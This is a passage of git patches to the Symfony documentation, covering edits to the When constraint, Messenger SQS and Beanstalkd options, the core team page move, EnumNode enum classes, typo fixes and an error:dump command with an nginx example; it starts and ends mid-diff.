--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -176,16 +176,13 @@ Options
 
 **type**: ``string|Closure``
 
-The condition as a closure or written with the expression language syntax
-that will be evaluated. If the closure return value or the evaluated expression
-is a falsey value (i.e. using ``==``, not ``===``), validation of constraints won't
-be triggered, and constraints of the ``otherwise`` option will, if provided.
+The condition evaluated to decide if the constraint is applied or not. It can be
+defined as a closure or a string using the :doc:`expression language syntax </reference/formats/expression_language>`.
+If the result is a falsey value (``false``, ``null``, ``0``, an empty string or
+an empty array) the constraints defined in the ``constraints`` option won't be
+applied but the constraints defined in ``otherwise`` option (if provided) will be applied.
 
-To learn more about the expression language syntax, see
-:doc:`/reference/formats/expression_language`.
-
-Depending on how you use the constraint, you have access to different variables
-in your expression:
+**When using an expression**, you access to the following variables:
 
 ``this``
     The object being validated (e.g. an instance of Discount).
@@ -201,16 +198,13 @@ in your expression:
 
     The ``context`` variable in expressions was introduced in Symfony 7.2.
 
-When using a closure, the first argument is the object being validated.
+**When using a closure**, the first argument is the object being validated.
 
 .. versionadded:: 7.3
 
     The support for closure in the ``expression`` option was introduced in Symfony 7.3
     and requires PHP 8.5.
 
-The ``value`` variable can be used when you want to execute more complex
-validation based on its value:
-
 .. configuration-block::
 
     .. code-block:: php-attributes
@@ -228,6 +222,7 @@ validation based on its value:
                 expression: 'value == "percent"',
                 constraints: [new Assert\Callback('doComplexValidation')],
             )]
+
             // ... or using a closure
             #[Assert\When(
                 expression: static function (Discount $discount) {

From f49a48a5b74a43d6da63b7300ca473dd59327e8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Feb 2025 16:28:02 +0100
Subject: [PATCH 6733/7107] Minor fix

---
 reference/constraints/When.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 7587f0c776c..6eca8b4895f 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -202,7 +202,7 @@ applied but the constraints defined in ``otherwise`` option (if provided) will b
 
 .. versionadded:: 7.3
 
-    The support for closure in the ``expression`` option was introduced in Symfony 7.3
+    The support for closures in the ``expression`` option was introduced in Symfony 7.3
     and requires PHP 8.5.
 
 .. configuration-block::

From 7f701e7c6e29b9e34bc2753f9dcf021244af5259 Mon Sep 17 00:00:00 2001
From: Peter Trebaticky <github.10.trepe@spamgourmet.com>
Date: Fri, 21 Feb 2025 18:56:19 +0100
Subject: [PATCH 6734/7107] [Messenger] Add options to specify SQS queue
 attributes and tags

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index c6643af0a89..477ef65b740 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2064,6 +2064,12 @@ The transport has a number of options:
 ``queue_name`` (default: ``messages``)
     Name of the queue
 
+``queue_attributes``
+    Attributes of a queue as per `SQS CreateQueue API`_. Array of strings indexed by keys of ``AsyncAws\Sqs\Enum\QueueAttributeName``. Added in Symfony 7.3.
+
+``queue_tags``
+    Cost allocation tags of a queue as per `SQS CreateQueue API`_. Array of strings indexed by strings. Added in Symfony 7.3.
+
 ``region`` (default: ``eu-west-1``)
     Name of the AWS region
 
@@ -3637,3 +3643,4 @@ Learn more
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
 .. _`SSL context options`: https://php.net/context.ssl
 .. _`predefined constants`: https://www.php.net/pcntl.constants
+.. _`SQS CreateQueue API`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_CreateQueue.html

From 4f6410775bf538b2ed7746cc3f731cb105ae9075 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ga=C3=ABtan=20Verlhac?= <viviengaetan69@gmail.com>
Date: Sat, 22 Feb 2025 09:49:14 +0100
Subject: [PATCH 6735/7107] [Console] Remove invalid ProcessHelper specified
 usage

---
 components/console/helpers/processhelper.rst | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index a02aabfd85d..b46d9f2e95f 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -42,12 +42,7 @@ In case the process fails, debugging is easier:
 Arguments
 ---------
 
-There are three ways to use the process helper:
-
-* Using a command line string::
-
-    // ...
-    $helper->run($output, 'figlet Symfony');
+There are two ways to use the process helper:
 
 * An array of arguments::
 

From b3b790157e0fd9bcdc57f98988288d68dcbb0336 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 24 Feb 2025 15:18:40 +0100
Subject: [PATCH 6736/7107] Move the core team page to the contributing root
 dir as it's not just about code

---
 _build/redirection_map                     | 1 +
 _images/sources/README.md                  | 2 +-
 contributing/code/index.rst                | 1 -
 contributing/code/pull_requests.rst        | 2 +-
 contributing/code/standards.rst            | 2 +-
 contributing/code_of_conduct/care_team.rst | 2 +-
 contributing/community/releases.rst        | 2 +-
 contributing/{code => }/core_team.rst      | 0
 contributing/map.rst.inc                   | 3 ++-
 9 files changed, 8 insertions(+), 7 deletions(-)
 rename contributing/{code => }/core_team.rst (100%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 4fb14724d26..3bad633e0e1 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -430,6 +430,7 @@
 /email/spool /mailer
 /email/testing /mailer
 /contributing/community/other /contributing/community
+/contributing/code/core_team /contributing/core_team
 /profiler/storage /profiler
 /setup/composer /setup
 /security/security_checker /setup
diff --git a/_images/sources/README.md b/_images/sources/README.md
index 467d4024010..84810a9783d 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -96,7 +96,7 @@ only the asciicast file).
 
 [1]: http://dia-installer.de/
 [2]: https://fonts.google.com/specimen/PT+Sans+Narrow
-[3]: https://symfony.com/doc/current/contributing/code/core_team.html
+[3]: https://symfony.com/doc/current/contributing/core_team.html
 [4]: https://github.com/asciinema/asciinema
 [5]: https://github.com/asciinema/agg
 [6]: https://www.jetbrains.com/lp/mono/
diff --git a/contributing/code/index.rst b/contributing/code/index.rst
index e537eb3a0c3..b4cf85441b0 100644
--- a/contributing/code/index.rst
+++ b/contributing/code/index.rst
@@ -9,7 +9,6 @@ Contributing Code
     reproducer
     pull_requests
     maintenance
-    core_team
     security
     tests
     bc
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 7b51b2ab3cb..548fc6c190c 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -404,7 +404,7 @@ perspective, please join the ``#contribs`` channel on `Symfony Slack`_. If you
 receive feedback you find abusive please contact the
 :doc:`CARE team </contributing/code_of_conduct/care_team>`.
 
-The :doc:`core team </contributing/code/core_team>` is responsible for deciding
+The :doc:`core team </contributing/core_team>` is responsible for deciding
 which PR gets merged, so their feedback is the most relevant. So do not feel
 pressured to refactor your code immediately when someone provides feedback.
 
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index ced2568c5f7..3a00343faf1 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -300,7 +300,7 @@ Documentation
 * When adding a new class or when making significant changes to an existing class,
   an ``@author`` tag with personal contact information may be added, or expanded.
   Please note it is possible to have the personal contact information updated or
-  removed per request to the :doc:`core team </contributing/code/core_team>`.
+  removed per request to the :doc:`core team </contributing/core_team>`.
 
 License
 ~~~~~~~
diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index e061c0a0afe..1b15850da39 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -54,7 +54,7 @@ also contact all of them at once by emailing ** care@symfony.com **.
 About the CARE Team
 -------------------
 
-The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CARE
+The :doc:`Symfony project leader </contributing/core_team>` appoints the CARE
 team with candidates they see fit. The CARE team will consist of at least
 3 people. The team should be representing as many demographics as possible,
 ideally from different employers.
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 8126496bfef..2c5a796e9b5 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -113,7 +113,7 @@ PHP Compatibility
 -----------------
 
 The **minimum** PHP version is decided for each **major** Symfony version by consensus
-amongst the :doc:`core team </contributing/code/core_team>` and documented as
+amongst the :doc:`core team </contributing/core_team>` and documented as
 part of the :ref:`technical requirements for running Symfony applications
 <symfony-tech-requirements>`.
 
diff --git a/contributing/code/core_team.rst b/contributing/core_team.rst
similarity index 100%
rename from contributing/code/core_team.rst
rename to contributing/core_team.rst
diff --git a/contributing/map.rst.inc b/contributing/map.rst.inc
index 92bc1e2e142..acbb24bb9b0 100644
--- a/contributing/map.rst.inc
+++ b/contributing/map.rst.inc
@@ -1,3 +1,5 @@
+* :doc:`The Core Team </contributing/core_team>`
+
 * **Code of Conduct**
 
   * :doc:`/contributing/code_of_conduct/code_of_conduct`
@@ -12,7 +14,6 @@
   * :doc:`Pull Requests </contributing/code/pull_requests>`
   * :doc:`Reviewing Issues and Pull Requests </contributing/community/reviews>`
   * :doc:`Maintenance </contributing/code/maintenance>`
-  * :doc:`The Core Team </contributing/code/core_team>`
   * :doc:`Security </contributing/code/security>`
   * :doc:`Tests </contributing/code/tests>`
   * :doc:`Backward Compatibility </contributing/code/bc>`

From 8a15b64063a83b3b3a1560edc067f2ed59e659e2 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 24 Feb 2025 15:18:40 +0100
Subject: [PATCH 6737/7107] Move the core team page to the contributing root
 dir as it's not just about code

---
 _build/redirection_map                     | 1 +
 _images/sources/README.md                  | 2 +-
 contributing/code/index.rst                | 1 -
 contributing/code/pull_requests.rst        | 2 +-
 contributing/code/standards.rst            | 2 +-
 contributing/code_of_conduct/care_team.rst | 2 +-
 contributing/community/releases.rst        | 2 +-
 contributing/{code => }/core_team.rst      | 0
 contributing/map.rst.inc                   | 3 ++-
 9 files changed, 8 insertions(+), 7 deletions(-)
 rename contributing/{code => }/core_team.rst (100%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 4fb14724d26..3bad633e0e1 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -430,6 +430,7 @@
 /email/spool /mailer
 /email/testing /mailer
 /contributing/community/other /contributing/community
+/contributing/code/core_team /contributing/core_team
 /profiler/storage /profiler
 /setup/composer /setup
 /security/security_checker /setup
diff --git a/_images/sources/README.md b/_images/sources/README.md
index 467d4024010..84810a9783d 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -96,7 +96,7 @@ only the asciicast file).
 
 [1]: http://dia-installer.de/
 [2]: https://fonts.google.com/specimen/PT+Sans+Narrow
-[3]: https://symfony.com/doc/current/contributing/code/core_team.html
+[3]: https://symfony.com/doc/current/contributing/core_team.html
 [4]: https://github.com/asciinema/asciinema
 [5]: https://github.com/asciinema/agg
 [6]: https://www.jetbrains.com/lp/mono/
diff --git a/contributing/code/index.rst b/contributing/code/index.rst
index e537eb3a0c3..b4cf85441b0 100644
--- a/contributing/code/index.rst
+++ b/contributing/code/index.rst
@@ -9,7 +9,6 @@ Contributing Code
     reproducer
     pull_requests
     maintenance
-    core_team
     security
     tests
     bc
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 7b51b2ab3cb..548fc6c190c 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -404,7 +404,7 @@ perspective, please join the ``#contribs`` channel on `Symfony Slack`_. If you
 receive feedback you find abusive please contact the
 :doc:`CARE team </contributing/code_of_conduct/care_team>`.
 
-The :doc:`core team </contributing/code/core_team>` is responsible for deciding
+The :doc:`core team </contributing/core_team>` is responsible for deciding
 which PR gets merged, so their feedback is the most relevant. So do not feel
 pressured to refactor your code immediately when someone provides feedback.
 
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index ced2568c5f7..3a00343faf1 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -300,7 +300,7 @@ Documentation
 * When adding a new class or when making significant changes to an existing class,
   an ``@author`` tag with personal contact information may be added, or expanded.
   Please note it is possible to have the personal contact information updated or
-  removed per request to the :doc:`core team </contributing/code/core_team>`.
+  removed per request to the :doc:`core team </contributing/core_team>`.
 
 License
 ~~~~~~~
diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index e061c0a0afe..1b15850da39 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -54,7 +54,7 @@ also contact all of them at once by emailing ** care@symfony.com **.
 About the CARE Team
 -------------------
 
-The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CARE
+The :doc:`Symfony project leader </contributing/core_team>` appoints the CARE
 team with candidates they see fit. The CARE team will consist of at least
 3 people. The team should be representing as many demographics as possible,
 ideally from different employers.
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 8126496bfef..2c5a796e9b5 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -113,7 +113,7 @@ PHP Compatibility
 -----------------
 
 The **minimum** PHP version is decided for each **major** Symfony version by consensus
-amongst the :doc:`core team </contributing/code/core_team>` and documented as
+amongst the :doc:`core team </contributing/core_team>` and documented as
 part of the :ref:`technical requirements for running Symfony applications
 <symfony-tech-requirements>`.
 
diff --git a/contributing/code/core_team.rst b/contributing/core_team.rst
similarity index 100%
rename from contributing/code/core_team.rst
rename to contributing/core_team.rst
diff --git a/contributing/map.rst.inc b/contributing/map.rst.inc
index 92bc1e2e142..acbb24bb9b0 100644
--- a/contributing/map.rst.inc
+++ b/contributing/map.rst.inc
@@ -1,3 +1,5 @@
+* :doc:`The Core Team </contributing/core_team>`
+
 * **Code of Conduct**
 
   * :doc:`/contributing/code_of_conduct/code_of_conduct`
@@ -12,7 +14,6 @@
   * :doc:`Pull Requests </contributing/code/pull_requests>`
   * :doc:`Reviewing Issues and Pull Requests </contributing/community/reviews>`
   * :doc:`Maintenance </contributing/code/maintenance>`
-  * :doc:`The Core Team </contributing/code/core_team>`
   * :doc:`Security </contributing/code/security>`
   * :doc:`Tests </contributing/code/tests>`
   * :doc:`Backward Compatibility </contributing/code/bc>`

From 4e52d442208eb2efd33f57f14d27d09713dacf82 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 24 Feb 2025 15:17:14 +0100
Subject: [PATCH 6738/7107] Add new core team members

---
 contributing/core_team.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index 2afae903d92..d461aa44485 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -82,7 +82,11 @@ Active Core Members
   * **Oskar Stark** (`OskarStark`_);
   * **Mathieu Santostefano** (`welcomattic`_);
   * **Kevin Bond** (`kbond`_);
-  * **Jérôme Tamarelle** (`gromnan`_).
+  * **Jérôme Tamarelle** (`gromnan`_);
+  * **Berislav Balogović** (`hypemc`_);
+  * **Mathias Arlaud** (`mtarld`_);
+  * **Florent Morselli** (`spomky`_);
+  * **Alexandre Daubois** (`alexandre-daubois`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
@@ -255,3 +259,7 @@ discretion of the **Project Leader**.
 .. _`smnandre`: https://github.com/smnandre/
 .. _`kocal`: https://github.com/kocal/
 .. _`webmamba`: https://github.com/webmamba/
+.. _`hypemc`: https://github.com/hypemc/
+.. _`mtarld`: https://github.com/mtarld/
+.. _`spomky`: https://github.com/spomky/
+.. _`alexandre-daubois`: https://github.com/alexandre-daubois/

From 0d296fc0f69cf15d0195000cbe0a904fabb1e08a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Feb 2025 16:29:52 +0100
Subject: [PATCH 6739/7107] Minor tweak

---
 messenger.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 477ef65b740..de72419aa9c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2065,10 +2065,10 @@ The transport has a number of options:
     Name of the queue
 
 ``queue_attributes``
-    Attributes of a queue as per `SQS CreateQueue API`_. Array of strings indexed by keys of ``AsyncAws\Sqs\Enum\QueueAttributeName``. Added in Symfony 7.3.
+    Attributes of a queue as per `SQS CreateQueue API`_. Array of strings indexed by keys of ``AsyncAws\Sqs\Enum\QueueAttributeName``.
 
 ``queue_tags``
-    Cost allocation tags of a queue as per `SQS CreateQueue API`_. Array of strings indexed by strings. Added in Symfony 7.3.
+    Cost allocation tags of a queue as per `SQS CreateQueue API`_. Array of strings indexed by strings.
 
 ``region`` (default: ``eu-west-1``)
     Name of the AWS region
@@ -2085,6 +2085,10 @@ The transport has a number of options:
 ``wait_time`` (default: ``20``)
     `Long polling`_ duration in seconds
 
+.. versionadded:: 7.3
+
+    The ``queue_attributes`` and ``queue_tags`` options were introduced in Symfony 7.3.
+
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should

From a78f065f1d8e999cc3d96dcf5c29a7eed85399f0 Mon Sep 17 00:00:00 2001
From: super-omario <omar.brahimi.nimda@gmail.com>
Date: Thu, 20 Feb 2025 20:43:09 +0100
Subject: [PATCH 6740/7107] [Console] Fix argument position for addOption

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 5ec9cf3ae04..3a37704df23 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -320,7 +320,7 @@ can also implement value completion for the input in your commands. For
 instance, you may want to complete all usernames from the database in the
 ``name`` argument of your greet command.
 
-To achieve this, use the 5th argument of ``addArgument()``/``addOption``::
+To achieve this, use the 5th argument of ``addArgument()`` or the 6th argument of ``addOption``::
 
     // ...
     use Symfony\Component\Console\Completion\CompletionInput;

From d232cccd6b56def4db372acbb11d371ae7171bf2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Feb 2025 09:11:51 +0100
Subject: [PATCH 6741/7107] Minor tweak

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 3a37704df23..813ab683428 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -320,7 +320,7 @@ can also implement value completion for the input in your commands. For
 instance, you may want to complete all usernames from the database in the
 ``name`` argument of your greet command.
 
-To achieve this, use the 5th argument of ``addArgument()`` or the 6th argument of ``addOption``::
+To achieve this, use the 5th argument of ``addArgument()`` or the 6th argument of ``addOption()``::
 
     // ...
     use Symfony\Component\Console\Completion\CompletionInput;

From a2daec4d72e47b9ce07e0bc915834f3594b7f453 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 26 Feb 2025 12:18:13 +0100
Subject: [PATCH 6742/7107] [Config] Allow using an enum FQCN with `EnumNode`

---
 components/config/definition.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 24c142ec5a5..b22d66c2b51 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -186,6 +186,25 @@ The configuration can now be written like this::
         ->end()
     ;
 
+You can also use the ``enumClass()`` method to pass the FQCN of an enum
+class to the node. This will automatically set the values of the node to
+the cases of the enum::
+
+    $rootNode
+        ->children()
+            ->enumNode('delivery')
+                ->enumClass(Delivery::class)
+            ->end()
+        ->end()
+    ;
+
+When using a backed enum, the values provided to the node will be casted
+to one of the enum cases if possible.
+
+.. versionadded:: 7.3
+
+    The ``enumClass()`` method was introduced in Symfony 7.3.
+
 Array Nodes
 ~~~~~~~~~~~
 

From f0be895bcf93a85fba888e476d0e580483b98f89 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Wed, 26 Feb 2025 17:13:11 +0100
Subject: [PATCH 6743/7107] [Mailer] [Amazon] Remove outdated warning

As per https://github.com/symfony/symfony/pull/58761, the warning about requiring the `ses+https` provider for custom headers is no longer relevant and has been removed.
Fixes https://github.com/symfony/symfony-docs/issues/20512
---
 mailer.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 9ab2f47c235..fd34a921b14 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -268,12 +268,6 @@ party provider:
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-.. warning::
-
-    If you send custom headers when using the `Amazon SES`_ transport (to receive
-    them later via a webhook), make sure to use the ``ses+https`` provider because
-    it's the only one that supports them.
-
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an

From 63fc4e0fbe5bf2f1c2d6535c8a5a5f6a469f2c93 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Wed, 26 Feb 2025 21:51:36 +0100
Subject: [PATCH 6744/7107] [Messenger] Priority support for Beanstalkd bridge

Adds explanation about the new `BeanstalkdPriorityStamp` introduced by https://github.com/symfony/symfony/pull/59273
Fixes https://github.com/symfony/symfony-docs/issues/20513
---
 messenger.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index de72419aa9c..a9270ae1673 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1789,6 +1789,29 @@ The transport has a number of options:
 
     Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.2.
 
+When using the Beanstalkd transport in Symfony Messenger, you can now set the priority of the messages being dispatched.
+This allows you to control the order in which the messages are processed, with lower values indicating higher priority.
+
+To configure the priority, use the ``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
+when dispatching a message:
+
+.. code-block:: php
+
+    use App\Message\SomeMessage;
+    use Symfony\Component\Messenger\Stamp\BeanstalkdPriorityStamp;
+
+    $this->bus->dispatch(new SomeMessage('some data'), [
+        new BeanstalkdPriorityStamp(0), // Highest priority
+    ]);
+
+As defined by the Beanstalkd protocol, the priority value must be an integer between 0 (highest priority) and 2**32 (lowest priority).
+
+If no priority is specified, the default value ``1024`` will be used.
+
+.. versionadded:: 7.3
+
+    ``BeanstalkdPriorityStamp`` support was added in Symfony 7.3.
+
 .. _messenger-redis-transport:
 
 Redis Transport

From e9c4f9079e08c2f3a4e5c56b2a1a5902a1950bc5 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Thu, 27 Feb 2025 09:05:50 +0100
Subject: [PATCH 6745/7107] fix typo

---
 components/config/definition.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index b22d66c2b51..44189d9dd6f 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -198,7 +198,7 @@ the cases of the enum::
         ->end()
     ;
 
-When using a backed enum, the values provided to the node will be casted
+When using a backed enum, the values provided to the node will be cast
 to one of the enum cases if possible.
 
 .. versionadded:: 7.3

From 634c9b8b9f44a26d493d01776b1738c7f34e3f6e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Thu, 27 Feb 2025 09:07:36 +0100
Subject: [PATCH 6746/7107] fix typos

---
 components/var_dumper.rst                          | 2 +-
 reference/constraints/CssColor.rst                 | 2 +-
 reference/forms/types/options/choice_value.rst.inc | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 1578d1e8128..cfc57140b52 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -813,7 +813,7 @@ They are called in registration order.
 Casters are responsible for returning the properties of the object or resource
 being cloned in an array. They are callables that accept five arguments:
 
-* the object or resource being casted;
+* the object or resource being cast;
 * an array modeled for objects after PHP's native ``(array)`` cast operator;
 * a :class:`Symfony\\Component\\VarDumper\\Cloner\\Stub` object
   representing the main properties of the object (class, type, etc.);
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 88a4eb4be9f..fbbc982087d 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -2,7 +2,7 @@ CssColor
 ========
 
 Validates that a value is a valid CSS color. The underlying value is
-casted to a string before being validated.
+cast to a string before being validated.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/reference/forms/types/options/choice_value.rst.inc b/reference/forms/types/options/choice_value.rst.inc
index 4b3668074a9..137ca8a6df0 100644
--- a/reference/forms/types/options/choice_value.rst.inc
+++ b/reference/forms/types/options/choice_value.rst.inc
@@ -9,7 +9,7 @@ You don't normally need to worry about this, but it might be handy when processi
 an API request (since you can configure the value that will be sent in the API request).
 
 This can be a callable or a property path. By default, the choices are used if they
-can be casted to strings. Otherwise an incrementing integer is used (starting at ``0``).
+can be cast to strings. Otherwise an incrementing integer is used (starting at ``0``).
 
 If you pass a callable, it will receive one argument: the choice itself. When using
 the :doc:`/reference/forms/types/entity`, the argument will be the entity object

From 04f5498101f6cc4166bbdbfd29c583b6137840c5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 27 Feb 2025 12:44:55 +0100
Subject: [PATCH 6747/7107] Reword

---
 messenger.rst | 20 +++++++-------------
 1 file changed, 7 insertions(+), 13 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index a9270ae1673..3618482f8e9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1789,28 +1789,22 @@ The transport has a number of options:
 
     Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.2.
 
-When using the Beanstalkd transport in Symfony Messenger, you can now set the priority of the messages being dispatched.
-This allows you to control the order in which the messages are processed, with lower values indicating higher priority.
-
-To configure the priority, use the ``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
-when dispatching a message:
-
-.. code-block:: php
+The Beanstalkd transport lets you set the priority of the messages being dispatched.
+Use the ``Symfony\Component\Messenger\Bridge\Beanstalkd\Transport\BeanstalkdPriorityStamp``
+and pass a number to specify the priority (default = ``1024``; lower numbers mean higher priority)::
 
     use App\Message\SomeMessage;
     use Symfony\Component\Messenger\Stamp\BeanstalkdPriorityStamp;
 
     $this->bus->dispatch(new SomeMessage('some data'), [
-        new BeanstalkdPriorityStamp(0), // Highest priority
+        // 0 = highest priority
+        // 2**32 - 1 = lowest priority
+        new BeanstalkdPriorityStamp(0),
     ]);
 
-As defined by the Beanstalkd protocol, the priority value must be an integer between 0 (highest priority) and 2**32 (lowest priority).
-
-If no priority is specified, the default value ``1024`` will be used.
-
 .. versionadded:: 7.3
 
-    ``BeanstalkdPriorityStamp`` support was added in Symfony 7.3.
+    ``BeanstalkdPriorityStamp`` support was introduced in Symfony 7.3.
 
 .. _messenger-redis-transport:
 

From d976d0e8e24fa97520b1fb513027ee723dd05893 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFck=20Piera?= <pyrech@gmail.com>
Date: Sat, 1 Mar 2025 17:56:22 +0100
Subject: [PATCH 6748/7107] Add documentation for error:dump command

---
 controller/error_pages.rst | 46 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index fc36b88779a..00a36f3b13a 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -336,3 +336,49 @@ time and again, you can have just one (or several) listeners deal with them.
     your application (like :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`)
     and takes measures like redirecting the user to the login page, logging them
     out and other things.
+
+Dumping error pages in static HTML files
+----------------------------------------
+
+When a web server cannot handle a request or when it triggers an error without
+calling the PHP application, it will return its default error pages, instead of
+rendering the errors as defined in your application (whether it's Symfony's
+default "Oops" error page or the pages you customized in your application).
+
+To avoid that and always have your web server rendering your application's error
+pages, you can dump each HTTP status error in a their own static HTML files:
+
+.. code-block:: terminal
+
+    $ php bin/console error:dump [--force] var/cache/prod/error_pages
+
+.. note::
+
+    By default, it will dump HTML files for each HTTP status error.
+    You can restrict that to dump only some HTTP status code by passing them as
+    in the second argument of the command.
+
+Once the static pages are generated, you can now configure your web server to use
+them instead of their default error page. Here is an example configuration with
+nginx:
+
+.. code-block:: nginx
+
+    # /etc/nginx/conf.d/example.com.conf
+    server {
+        # Your existing serverconfiguration
+        # ...
+
+
+	# Configure nginx to serve your application's error pages
+        error_page 400 /error_pages/400.html;
+        error_page 401 /error_pages/401.html;
+        # ...
+        error_page 510 /error_pages/510.html;
+        error_page 511 /error_pages/511.html;
+
+        location ^~ /error_pages/ {
+          root /path/to/your/symfony/var/cache/error_pages;
+          internal; # allows this location block to not be triggered when a user manually call these /error_pages/.* urls
+        }
+    }

From a941353d64f0234b3a189f8a326391cdd8501791 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 31 Jan 2025 15:58:43 +0100
Subject: [PATCH 6749/7107] Use DOCtor-RST 1.66.0

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index cd11f370e6a..b69e512b046 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -72,7 +72,7 @@ jobs:
